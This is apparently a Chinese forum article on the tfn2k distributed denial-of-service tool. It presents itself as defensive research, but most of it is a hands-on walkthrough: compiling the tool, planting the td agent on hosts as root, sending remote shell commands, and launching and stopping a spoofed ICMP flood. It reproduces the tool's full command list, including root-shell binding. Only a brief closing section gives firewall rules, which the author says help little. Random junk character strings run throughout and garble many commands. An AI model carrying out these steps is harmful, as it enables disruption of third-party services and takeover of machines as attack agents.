分布式拒绝攻击(DDOS)软件tfn2k攻防

踏浪行歌

分布式拒绝攻击(DDOS)软件tfn2k攻防 + y( Q- b: U/ v$ F) I" N首先，我写这篇文章的目的，并不是我想成为什么hacker之类，而且我不并不鼓励任何人利用它来做一些有损他人的事情，我只是想多一 - {, `" T) W$ g2 B

些人关注网络安全，共同研究并防御DOS。因为我是深受其害，所以，这篇文章仅用于技术参考，供大家研究DDOS防御之用。如果你利用它来

做一些不合法的事情，那结果与我无关。 拒绝服务攻击（DOS，DenialOfService)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成 - M# }6 }1 ?' g# Y: b; J) S4 q

的dos，可能性非常小，更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,DistributedDenialOf

Service),利用更多的代理集中攻击目标，其危害更大。 我们大家都知道tcp/ip协议现在已经成为整个internet框架协议，可以说，如果没有tcp/ip，至少internet不会像现在这样普及，甚至不 & m! R; }' a0 p! t" Z

可能会有internet。但凡事皆有两面性，tcp/ip使我们大家受益，同时因为协议本身构造的问题，它也成为别人攻击我们的工具。我们以tcp三 7 U2 {$ |( H. c" f9 Y" O4 _

握手建立连接的过程来说明。 一。tcpsynflood ! D. H3 [& y$ _- O1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器，此数据包内包含客户端端口及tcp序列号等基本信息。 n5 n$ {- q/ W/ w$ J% _( c1 m2.服务器(server)接收到SYN包之后，将发送一个SYN-ACK包来确认。 4 U* _- `: i+ h3.客户端在收到服务器的SYN-ACK包之后，将回送ACK至服务器，服务器如接收到此包，则TCP连接建立完成，双方可以进行通讯（感觉像 " H) v; b# P) l5 Q

，一拜天地...二拜高堂...送入洞房...哈哈） - i; o3 g4 r; p' T& | G

问题就出在第3步，如果服务器收不到客户端的ACK包，将会等待下去，这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系 ) a4 i' l- V$ C/ J* y

统不同),如果SYN请求超过了服务器能容纳的限度，缓冲区队列满，那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种

攻击往往事半罪倍，杀伤力超强。 + v% J6 N6 S3 {7 q$ H0 q' Z5 G当然，DOS攻击的方法多种多样，如:UDPflood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到<a 0 K: _' m* ^1 @2 N2 W

href=http://www.chinaitlab.com/www/special/ciwddos.asp>http://www.chinaitlab.com/www/special/ciwddos.asp</a>去看看，有很详细 2 o" f% L* z$ I g& N( Y% A5 g

的原理及常用攻击软件介绍。不过说到DOS攻击软件，最具代表的莫过于tfn2k(TribeFloodNetwork2000),其作者是德国大名鼎鼎的mixter(

其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k，哎~~，不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。 , S& o i' T- E+ {

tfn2k应该算是DDOS攻击中的代表作，其所能实现的功能让人瞠目结舌，叹为观止...(对它的敬畏有如滔滔江水，延续不绝...)来看看它

的架构。 主控端---运行tfn客户端，来遥控并指定攻击目标，更改攻击方法.(罪大恶极) , R' c4 g5 C$ J5 z; q! C代理端---被植入并运行td进程的牺牲品，接受tfn的指挥，攻击的实施者.需要注意的是，一个攻击者，往往控制多台代理来完成攻击，而 9 A9 q4 I2 L' i5 A& t

且其系统多为unix,linux等.(可怜的牺牲品） 7 s) y; J6 ^. u6 @/ ^! j! A目标主机---被攻击的主机或网络，曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者，郁闷如我) 5 g$ J9 y" l* q) [6 W; F% p$ B2.tfn2k特性。 8 @- j0 C; A2 N/ k- v9 {　◆主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。 ◆主控端与代理端的通讯采取单向，即主控端只向代理端发送命令，并且会采取随机的头信息，甚至虚拟的源地址信息,代理端不会 " q( F# s' K7 O7 i7 y% R* d% V

逆向向主控端发送任何信息. ◆所有命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证. ' e: e6 Y7 Z9 i◆利用td进程，主控端可以远程执行shell命令. ◆td进程的名称可以在编译时更改,更便于隐藏. ; N" H' o/ g. G◆tfn可以编译运行于win32及linux系统的. }$ S5 A3 W9 _ n6 f- W... 至于伪造源IP地址等功能，更是基本功能，并且其与老版本的tfn相比，它的发包效率更高，我自已的测试，在短短不到5分钟，两台 " p; h0 z, p1 X0 y. R

代理机，使我的redhatlinux9.0系统瘫痪. ( \+ J: r) X7 _; J2 k% J3 {3 ]

三.tfn2k实战测试 1.测试环境: 软件：redhatlinux9.0 - g2 u' H2 b8 n0 n; z硬件平台： : f& R) R L2 c# J% w: ]- _& }9 Omaster: IP:192.168.0.6 PIV2.4/256*2/rtl8139 ! b; P) O5 m; ~' D. b# eAg1: IP:192.168.0.2 PIV2.4/256*/rtl8139 & w- ~, Z6 i8 h- o' Y1 wAG2:IP:192.168.0.3 pIV2.6/512*2/3c905 ) O- q# t/ \ J( P* D$ RAIM:192.168.0.5 pIV2.66c/512*2/3c905 0 y# d, v% Y$ Tswitch_linkdes1024R

1.下载tfn2k.tgz(因为此软件非比寻常，所以我并不提供下载地址，如果有兴趣，自已到网上找吧) 7 V3 R* B$ {, g \" Q4 Y2.解压：tarzxvftfn2k.tgz 3 T9 y0 ?9 O& g: `5 p# }; M# v$ a3.修改文件 A.src/Makefile如果你的系统是linux系统，不需要做任何修就可以，如果是win32系统，请将 #Linux/*BSD*/Others 0 P( E* Z/ y D; mCC=gcc ' r, f" | O+ Z |& a. tCFLAGS=-Wall-O3 CLIBS= 这几行注释掉,并将 #Win32(cygwin) # g, f3 E* W2 j! ^#CC=gcc #CFLAGS=-Wall-DWINDOZE-O2 * D% p/ W* u" [; f, x! z, B3 z#CLIBS= * M& G# v0 s; C( h0 l) V$ F* V这几行的注释去掉.因为我的测试系统为redhatlinux9.0所以并未做任何修改. $ M. T, z$ L3 u' Y8 X: {

B.src/config.h，默认的就可以用，如果感兴趣，可以照其注释信息进行调整。 $ L7 D8 e9 E8 H" zC.src/ip.h这里要做一些修改，否则编译会有错误，发生重复定义。 /*structin_addr + a3 u7 P) P% h) Z% ~" n{ ' f3 z* \* w% Runsignedlongints_addr; % v& d& b7 h8 K" Z1 T- ~8 Z7 \+ z) Z};*/ 注意啊~~我可是将它放在"/**/"之间，也就是注释掉了 D.更改编译器： - R( M( l3 v# e5 G- w7 L因为tfn2k支持的是egcs-1.1.2-30,而redhatlinux9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc，tfn2k是编译不过去的.需

要注意的是，更改之后，有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行. 方法很简单的，找到一张redhatlinux6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/ + Z; W. P, i! C& M2 Ucd/mnt/cdrom/Redhat/RPMS cpegcs-1.1.2-30*cpp-1.1.2-30*~/ 安装cpprpm-Uvh--nodeps--oldpackagecpp-1.1.2-30.i386.rpm . `$ C- R. P0 r, t# o& B' `( p* O安装egcsrpm-Uvhegcs-1.1.2-30.i386.rpm(如果提示有误，用nodeps、oldpackages、ignoreos等参数忽略过去就是了） 4.编译tfn2k cdtfn2k/src 6 u. V" L+ D. b, A! ^$ [make 4 @! @$ n+ p! C! M# U首先会谈出一个声明，你必须接受，之后会提示输入8-32位密码,前边提到过，这是唯一的认证凭证，会被分发于td进程中，所以一定 3 k: y( [# b% i: G

要记牢噢~。 编译通过后，会产生td及tfn，这就是大名鼎鼎的tfn2k啦~,td是守护进程，用来安装在代理中的，而tfn就是控制端. : q9 R2 p6 }. {; X% v; q

5.安装td. 将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3)，因为我只不过测试，所以用的是合法的root来上传并执行td进程的

，如果真要找到并安装一个代理，你可能得费点儿神，因为没有一个管理员会说“comeonbaby~~.我给你root,来安装td做代理吧” [root@test/]ftp192.168.0.2 Connectedto192.168.0.2. 530PleaseloginwithUSERandPASS. 530PleaseloginwithUSERandPASS. 7 d& b0 @; @; w3 I* YName(192.168.0.2:root):wjpfjy 0 g, U5 Y1 k) [8 |; f4 U6 _331Pleasespecifythepassword. Password: 230Loginsuccessful.Havefun. RemotesystemtypeisUNIX. / O/ i$ O; _9 d/ w' _' K8 c' [Usingbinarymodetotransferfiles. ftp>puttd(上传td) local:tdremote:td 227EnteringPassiveMode(192,168,0,3,198,225) : J, h F' o& w1 v9 V. j553Couldnotcreatefile. ftp>by(退出ftp) 221Goodbye. [root@test/]ssh192.168.0.2登陆到ag1以执行td,注意，我用的是root帐户，这样才有足够的权限来执行它. root@192.168.0.2spassword: Lastlogin:TueFeb2406:51:132004 ; Z: ]" u, r: ]/ Z; J- u: h: C6 c( g6 D[root@ag1/]find/-nametd-print找到刚上传过来的文件td. [root@ag1wjpfjy/]chmoda+xtd使之具有执行权限. [root@ag1wjpfjy/]./td运行td，这样你就拥有一个代理了，它会对你唯命是从的。 　　　 ' e3 b/ Z# @) I4 |7 V　　用同样的方法在ag2(192.168.0.3)上安装并运行TFN2k进程td. 5 m% a0 O' i5 b8 E# G; j9 E Z 6.攻击开始(悲惨的回忆上演中...) 0 x, d. C0 R/ ~/ c H8 {: Q2 p9 \回到master(192.168.0.6)，准备演练... 　　　[root@masterroot]#touchhost.txt建立代理记录文件(因为如果你足够无聊的话，有可能会建立很多的肉鸡－代理，不记下会忘 / w7 ]. m% _! Z! [

记的噢.) [root@masterroot]echo"192.168.0.2">host.txt将执行过td的ag1加入host.txt。 　　　[root@masterroot]echo"192.168.0.3">>host.txt添加ag2到host.txt. 　　　先来测试一下链接。 　　　[root@masterroot]./tfn-fhost.txt-c10-i"mkdirwjpfjy"与host.txt中的代理通讯，让其执行命令mkdirwjpfjy即建立一个

目录 , t1 ~3 I) Y" f5 c　Protocol:random SourceIP:random ' \: g* w2 Q2 l) }) {- S1 T0 EClientinput:list : a8 s5 _8 E. i/ l& o! NCommand:executeremotecommand

　　　Passwordverification:　　　　这里，会被提示输入密码，也就是编译时输入的密码,如果错了，将无法与td进程通讯 9 P" ~. R) c& d" q8 p! Q

　　　Sendingoutpackets:.. * `% g( H9 Q0 h

到ag1和ag2看看有没有建立目录名wjpfjy，一般情况下,会存在于td的同一目录,如果不确定，可以用find/-namewjpfjy-print来查找 　　 　　　[root@masterroot]./tfn-fhost.txt-c6-i192.168.0.5　开始ICMP/PING攻击aim...(可怜我的P4啊，不到5分钟,就跟386一样慢 ' u) x3 v9 V0 o! S( J' p

)，不过它在gameover前，还是很艰辛的记录下了攻击数据,也算是对得住的那NK大洋啦.这是tcpdump的抓包记录. 7 K* i# R7 I; x U6 s[root@aimroot]#tcpdump-rpack.atta-c4-xX & b6 C4 ^4 C8 O08:03:36.52490723.43.171.0>192.168.0.5icmp:echorequest[ttl0] 0x00004500005c659d00000001d22e172bab00E..\e........+.. 0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ . s: @2 g1 u' a% N' H Q0x004000000000000000000000000000000000................ 8 T$ b" U, |" w2 J0x00500000.. 08:03:36.524933192.168.0.5>23.43.171.0:icmp:echoreply 1 h+ B/ S( `) r; _0 J0x00004500005ca5d50000400151f6c0a80002E..\....@.Q..... / p7 l' G1 O& z0 _& y0x0010172bab000000ffff0000000000000000.+.............. 4 U" Y9 e7 O, E7 F; j0x002000000000000000000000000000000000................ 0x003000000000000000000000000000000000................ 5 b# [3 M' O' x) a4 N0x004000000000000000000000000000000000................ 3 r# b/ H9 j+ s6 I0x00500000.. 08:03:36.52494436.235.130.0>192.168.0.5:icmp:echorequest[ttl0] - c0 C0 V x" S* `! z+ j5 Y0x00004500005c659d00000001ed6e24eb8200E..\e......n$... ( X) \( m- {, j6 L5 I) d0x0010c0a800020800f7ff0000000000000000................ 0x002000000000000000000000000000000000................ , n' @) b. n" a0 r0x003000000000000000000000000000000000................ + t% O7 ? w6 |8 y9 a: U6 _0x004000000000000000000000000000000000................ 7 W; t+ y9 S! k8 ]5 m$ J4 p# b0x00500000.. 08:03:36.524984192.168.0.5>36.235.130.0:icmp:echoreply r3 k3 j% `: O1 y0x00004500005c551c00004001bdefc0a80002E..\U...@....... # B3 F4 P1 R `/ l% l0x001024eb82000000ffff0000000000000000$............... 0x002000000000000000000000000000000000................ c/ y: E# L0 y* k. j* \0x003000000000000000000000000000000000................ 0x004000000000000000000000000000000000................ 6 ?9 H0 V/ b6 z8 Y1 B$ o, @( ^　 ) K2 d, A l6 r　[root@masterroot]./tfn-fhost.txt-c0停止攻击 % l. s0 ^/ A1 x$ A

Protocol:random ' d1 @3 X7 h& V/ g# F$ eSourceIP:random Clientinput:list Command:stopflooding 6 l- h% I9 M" H# s) \; ~

Passwordverification: : M; b$ {/ d: t& M

Sendingoutpackets:...

当然还有别的攻击方法，你只要用-cX就可以更改攻击方法. ( ?; o! K" C/ q- }. H G% V

[root@masterroot]./tfn usage:./tfn<options> ) |( h m; J; Q" t* k) R, g# h! i[-Pprotocol]Protocolforservercommunication.CanbeICMP,UDPorTCP. 1 z: y& A8 t6 Y* T( a6 `! {Usesarandomprotocolasdefault [-Dn]Sendoutnbogusrequestsforeachrealonetodecoytargets [-Shost/ip]SpecifyyoursourceIP.Randomlyspoofedbydefault,youneed + ~9 _6 _) G7 a/ w6 ^$ StouseyourrealIPifyouarebehindspoof-filteringrouters [-fhostlist]FilenamecontainingalistofhostswithTFNserverstocontact [-hhostname]TocontactonlyasinglehostrunningaTFNserver $ Z r5 F# a1 i9 `; f[-itargetstring]Containsoptions/targetsseparatedby@,seebelow 9 P$ m9 ~2 N. P* d& V5 U6 o[-pport]ATCPdestinationportcanbespecifiedforSYNfloods 5 O& ]8 F j9 Z+ r5 w<-ccommandID>0-Haltallcurrentfloodsonserver(s)immediately " \9 B/ ? C) w7 m. b1-ChangeIPantispoof-level(evaderfc2267filtering) ( [1 r; o% D: Ausage:-i0(fullyspoofed)to-i3(/24hostbytesspoofed) : Q$ @' I1 Q4 G1 b) m2-ChangePacketsize,usage:-i<packetsizeinbytes> % v# @8 w4 ?, |9 ?& w' V3-Bindrootshelltoaport,usage:-i<remoteport> $ Y9 N6 s2 e! G: M0 r$ A4-UDPflood,usage:-ivictim@victim2@victim3@... - z) j/ u* K; e5-TCP/SYNflood,usage:-ivictim@...[-pdestinationport] 6-ICMP/PINGflood,usage:-ivictim@... 9 O& x- g4 h3 Q; z4 \4 S4 q7-ICMP/SMURFflood,usage:-ivictim@broadcast@broadcast2@... 8-MIXflood(UDP/TCP/ICMPinterchanged),usage:-ivictim@... 9-TARGA3flood(IPstackpenetration),usage:-ivictim@... 5 L9 ^/ R8 ?- g1 }, Z f10-Blindlyexecuteremoteshellcommand,usage-icommand

四.防守办法 7 o4 \0 f0 l, h7 E# ]就如同网上所有介绍DDOS的文章一样，DDOS防不胜防，我试着用防火墙过滤掉所有icmp包，来保护我的主机，但所实现的，只是我的主机晚

点儿崩溃而已.哎～，别指望我来防DDOS,要能防，我也不用不睡觉啊 　　还是那句老话，我们能做的，就是尽量让我们的主机不成为别人攻击的代理，并对intranet内出行的包进行严格限制，尽量不去危害别人 ) m$ y' B' I4 j2 [, D

，只要大家都这样做，我们的网络环境才可以安全一些，至少，我可以安心睡几天觉. 8 @- n4 d6 q7 g$ d 附上我防火墙的一部分.主要是针对ICMP/PING的，不过用处不太大 % k0 r. \! m, f

/sbin/iptables-PINPUTDROP ' p2 M7 Y: a2 d) u/sbin/iptables-AINPUT-ilo-pall-jACCEPT /sbin/iptables-AINPUT-ieth1-picmp-jACCEPT /sbin/iptables-AINPUT-picmp--icmp-type8-jDROP /sbin/iptables-AINPUT-s127.0.0.2-ilo-jACCEPT /sbin/iptables-AINPUT-s127.0.0.2-ieth0-jDROP /sbin/iptables-AINPUT-s$LAN_NET/24-ieth0-jDROP 6 c. h. x! z# \, F/sbin/iptables-AINPUT-s172.16.0.0/12-ieth0-jDROP /sbin/iptables-AINPUT-s10.0.0.0/8-ieth0-jDROP / _, A0 g2 A/ c6 I ^1 |/sbin/iptables-AINPUT-ieth0-mlimit--limit1/sec--limit-burst5-jACCEPT/sbin/iptables-AINPUT-ieth0-pudp-m ' |" V$ L4 O; Z6 m- P4 w# p5 F

state--stateNEW-jREJECT , O$ h" M. }4 x2 O# ^) v/ B/sbin/iptables-AINPUT-ptcp--dport22-jACCEPT /sbin/iptables-AINPUT-ptcp--dport80-jACCEPT 1 ^& o: C: D0 V& R7 M' D; u/sbin/iptables-AINPUT-ptcp-ieth1--dport53-jACCEPT + Q+ ?/ d! H. L2 H3 s; }: y2 ]/sbin/iptables-AINPUT-pudp-ieth1--dport53-jACCEPT ! b. J- V3 z5 a+ a6 y/sbin/iptables-AINPUT-ptcp-ieth0-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT 5 q2 U7 L' A0 j/sbin/iptables-AINPUT-pudp-ieth0-mstate--stateESTABLISHED,RELATED-mudp--dport1024:-jACCEPT 0 \( z" L6 X$ Q5 A/ H* ^3 P+ h/sbin/iptables-AINPUT-picmp--icmp-typeecho-request-jLOG--log-level2 : @, i5 q" R5 c' j1 k0 q/sbin/iptables-AINPUT-ieth0-picmp--icmp-typeecho-request-jDROP # ?( Y" E* s+ @" L+ s/sbin/iptables-AINPUT-ptcp-mmultiport--destination-port135,137,138,139-jLOG 1 O8 w% L9 l" J0 z6 V- m9 L/sbin/iptables-AINPUT-pudp-mmultiport--destination-port135,137,138,139 -jLOG /sbin/iptables-AINPUT-ieth0-ptcp--dport2000-jACCEPT " C* y9 y& o3 m0 f/sbin/iptables-AINPUT-ieth0-ptcp--dport2001-jACCEPT /sbin/iptables-AINPUT-ptcp-ieth1-mstate--stateESTABLISHED,RELATED-mtcp--dport1024:-jACCEPT ' b0 Z, W8 h( m

) l- |: W* z u4 N9 o" ]7 ~4 H　以上只是我个人的一些摸索经验，不足或错误之处，还望指证。如果您可以防止DDOS，也请告诉我 ! [' c1 j2 H5 i" B4 w: o, j% t因为本文内容的特殊性，转载请通知我，谢谢合作QQ:928395

[em09]